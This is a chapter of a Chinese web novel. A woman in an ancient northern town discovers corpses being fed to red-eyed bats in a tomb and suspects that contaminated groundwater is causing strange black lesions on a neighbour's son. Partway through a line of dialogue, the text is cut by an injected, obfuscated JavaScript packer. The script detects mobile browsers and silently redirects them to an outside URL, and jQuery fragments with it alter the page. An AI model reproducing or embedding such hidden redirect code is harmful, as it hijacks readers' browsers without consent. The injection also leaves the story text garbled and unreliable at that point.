5. 第 5 章

作品:《强娶落魄太子后跑路了

    已经入夜,世界静悄悄的,唯有风贴着屋脊划过,吹得瓦片沙沙作响。寒意就顺着瓦缝钻了进来,又爬上了风临的床。


    古代没有手机,也没有别的娱乐项目,风临只能早早上床。如今她仓促地来到北方,人生地不熟的,也没挣到什么银子,只能过着紧衣缩食的日子,连炭火也舍不得用多了。


    “北方的冬天可真冷啊!”风临蜷缩在被窝里,企图留住更多温暖。来这里之前她也做好了思想准备,但还是没料到会如此艰难。离开了熟悉的环境,离开了朋友,失去了自己好不容易攒好的人品。


    但她不后悔,毕竟比起生命,一切都是浮云。首先得活下去,不论如何都得活下去。阿晏不是普通人,这一点她早该想到,可他又实在好看。罢了,人总要栽些跟头,大不了从头再来。


    但从头来也是真难啊!


    就在释怀与后悔反复横跳间,风临蜷缩在被窝里进去了梦想。


    翌日清晨,风临又去了坟地那边。她昨日采的草药不算多,卖不了多少钱。当然,更多的是她仍然对坟墓里的东西比较好奇。而且她的职业习惯给了她一种很强的直觉——这个东西是非弄清楚不可的。


    风临记得那山的地势很像是有暗河的,如果那座山上的土地被严重污染了,那么极有可能,污染物会进入暗河,暗河与人们吃水的河流汇聚在一起……这样一来,大家的健康就会受到严重的影响。


    风临走近了那坟地,但今日那里有人在。


    四大害每个人都一手拖着一人,往坟地走来。地上的已经了无生气,俨然是一具尸体了。风临往旁边的树旁一躲。树木粗大,正好可以将她的身影遮住。


    风临听着尸体落地的声音。


    是四大害将那些尸体往地上一扔,堆叠在了一起。


    曾大壮吐了口唾沫,用鞋刮蹭了一下地面:“总算到这里了。快把他们扔进去吧。”


    “哎,再歇歇,刚到这呢,还没喘过气来。反正今天又没别的什么事。”罗大强这样说着,双手叉着腰,将头低下去大口喘气。


    另外两个兄弟就静静地站在那里不出声,等着曾大壮的开口。


    曾大壮应了他的话:“那好,先歇会儿。”


    罗大强一听可以休息了,一下子就不累了。他仍然用一手叉着腰,但却把头抬了起来,笑着说:“哎呀,老大就是好。”


    “少贫嘴,早点干完活我们也好回去。”曾大壮道。


    郑大勇没听清曾大壮的话,误以为是要开始干活了,直接拎着尸体就往坟墓里走。


    墓碑上有一个凸出的地方,郑大勇按下去了,坟墓竟然从中间打开,出现了一个口。无数只蝙蝠趁机飞了出来,慌忙间撞了四人一脸。


    罗大强不耐烦扒拉开脸上的蝙蝠,冲着郑大勇吼道:“你丫的干啥呢?赶着去投胎吗?老大不是说了歇会了吗?”


    郑大勇这才懵懵地回了句:“啊?”


    曾大壮出来打圆场:“算了,他耳朵不好使。”


    罗大强没好气道:“杵这么近,耳朵就是再不好使也能听见吧?又不是聋了。”


    易大志倒是不聋,也见不得自己好兄弟被骂,推了罗大强一把:“你他妈的有病吧?”


    “哎,你……”


    “好了,都是自己兄弟,不要打架。先干活儿,干完我们一起去喝酒。”


    听了老大这么说,三人也不再作声,只是气鼓鼓地拖着尸体往坟墓里扔。几人的心情都算不上好,扔尸体时都带了气性,将坟墓里弄得咚咚作响。


    风临一直看着他们。不一会儿,他们又按了下墓碑处的按钮,洞口缓缓合上。


    “走,喝酒去吧。”


    一行人远去,风临这才蹑手蹑脚地走出来,到了坟墓旁。这里又多了一些死去的乌鸦。


    先前的乌鸦已经腐烂,如今新的乌鸦尸体又掉在地上。


    风临在墓碑上摸索了一下,找到了按钮。她环顾四周,的确没有人在场,这才按了下去。


    坟口渐渐打开,露出了让人犯恶心的一幕。蝙蝠蚕食着那些尸体,眼睛里泛着红色的光。风临只看了一眼就合上了坟口,不让蝙蝠再飞出来。就在坟口合拢的前一瞬,一只蝙蝠猛地转头,那双猩红如血滴的眸子,似乎精准地穿透缝隙,与她的视线撞了个正着。


    她不明白,这是什么东西?


    饶是她见多识广,博览群书,也没见过这种东西。


    想着自己发现了什么可怕的秘密,她先快步离开了此地。


    尸体是用来喂养蝙蝠的,可是蝙蝠刚飞出洞口就死了。那这究竟是要做什么?


    快步回了自己的屋子,风临只觉得口干舌燥,先给自己倒了杯水喝。她坐下来平复了一下呼吸。这件事的确不简单,但她也不能轻易说出去,不然莽莽撞撞地只有死。


    不管了,还是先吃饭吧。


    风临在锅里热了一下昨日领居大娘送给自己的饭菜,吃完饭后,她去找东西。之前没卖完的编制物件还可以卖一下。她一件一件地都装上了自己的小推车,身上出了一阵汗。


    “小姑娘。”领居大娘这时候也走了出来,看到风临就叫住了她。


    “怎么了?大娘?”风临回头看见她,温声问道。


    “没啥事。你要出去吗?”


    “对,我要出去摆摊。”风临道。


    “好孩子,真勤快。不像我家那二傻子,只知道在家躺着。”


    “令郎有福气遇见您做母亲,自然就散漫些。”


    大娘笑得连脸上的褶子都变多了,不过转头又想到了什么,便叹起气来:“哎,也不是好福气。我家那懒货,这几天直嚷腿疼,我一看,好家伙,腿上好几块黑紫的斑,像被鬼掐了似的!大夫瞧了也说不出个道道。他也不是不想出门,而是实在腿疼得紧,没法子走路。”


    风临也敛了笑意,心里想到了些别的,问:“找大夫看了吗?”


    大娘愁道:“找了,大夫说没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974409|193492||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    问题。兴许是最近被晦气摸了头,过几天就好了。”


    风临道:“要不我去看看令郎?先前我在江南的时候常常帮领居看点小病,也知道一些奇异的怪病。兴许我能帮上忙。”


    大娘仍然叹着气,但心里涌上一股希望道:“那就多谢小姑娘了。我儿子生了这病,好多人都忌讳着,不想去看。”


    风临安抚地拍了拍大娘的背:“没事的,大娘,只是举手之劳。还要谢谢大娘之前送给我的饭。”风临自己做饭的技术极其一般,然而嘴又很挑。若不是这位大娘常常送自己点吃食,她可能把自己饿死了。


    大娘闻言连忙拉住她的手,眼里满是殷切:“哎哟,那,小姑娘快进来吧,只是屋里头乱,你别嫌弃。”


    屋内弥漫着淡淡的霉味和久未通风的滞涩。大娘的儿子蜷在炕上,一条裤腿挽到膝盖,嘴里正嘶嘶吸着凉气。见生人进来,他有些窘迫地想把腿藏进被子里。


    “二牛,别动,让风姑娘给看看!”大娘一把按住他。


    风临在炕边坐下,借着窗外透进的微光看去。只看了一眼,她搭在膝上的手指便几不可察地收紧了。


    那并非普通的淤青。


    在小腿外侧,盘踞着三四处铜钱大小的斑块。颜色是极深的黑紫色,边缘却异常清晰锐利,像用拙劣的墨笔狠狠摁上去的。


    最骇人的是斑块中心——皮肤微微隆起,质地变得僵硬,透着一种不祥的蜡样光泽。她伸出手指,在斑块旁的正常皮肤上轻轻按了按,对比之下,病斑处的触感明显发硬、发凉。


    “疼吗?”她问,声音放得极轻。


    “碰着就疼,火辣辣的,像有针在里头扎。”二牛咬着牙回道,“不碰的时候,又觉着里头发木,冻骨头似的冷。”


    风临仔细查看斑块的形状和分布,它们并非沿着血管脉络,也非碰撞所致,倒像是,从皮肤底下自己长出来的异物。


    风临脑子里掠过先前看过的类似知识,最后停留在这样四个字那里——秽土污泉。


    她想到了先前的推算。那片坟地地下联通了当地的一天河流,而坟地上的那些东西,很有可能会通过土壤和水流入人们的日常打水的地方。


    人体与那样的污秽物一接触,自然就会生病。


    可是这些东西又该如何和这些古代人说呢?


    “姑娘,这……这到底是个啥毛病啊?”王大娘的声音带着颤抖,打断了她的思绪。


    风临收回手,面上不动声色,甚至勉强弯了下嘴角:“大娘别急,看着是有些邪乎的‘湿毒结滞’,许是近来气候阴寒,地气也不太好,让令郎赶上了。我先开个散瘀解毒的方子试试。”


    她起身,走到屋内简陋的桌边,借了纸笔,写下几味常见的活血化瘀、清热利湿的草药。笔尖很稳,字迹也工整,只有她自己知道,掌心又是一层薄汗。


    这个方子虽有助于缓解此人的疼痛,但到底是没有治本。她该想个法子除掉当地的这个隐患。